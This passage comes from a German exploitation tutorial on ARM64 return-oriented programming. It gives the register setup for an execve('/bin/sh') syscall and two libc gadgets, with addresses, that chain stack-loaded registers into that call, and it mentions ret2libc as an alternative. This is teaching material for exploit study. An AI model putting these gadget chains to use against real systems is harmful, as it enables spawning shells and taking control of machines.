Um den Aufruf für die syscall vorzubereiten, ist die folgende Konfiguration erforderlich:
x8: 221 Specify sys_execve
x0: ptr to "/bin/sh" specify file to execute
x1: 0 specify no arguments passed
x2: 0 specify no environment variables passed
Mit ROPgadget.py konnte ich die folgenden Gadgets in der libc-Bibliothek der Maschine finden:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Mit den vorherigen Gadgets können wir alle benötigten Register vom Stack steuern und x5 verwenden, um zum zweiten Gadget zu springen, um den syscall aufzurufen.
Beachten Sie, dass das Wissen um diese Informationen aus der libc-Bibliothek auch einen ret2libc-Angriff ermöglicht, aber lassen Sie uns dies für dieses aktuelle Beispiel verwenden.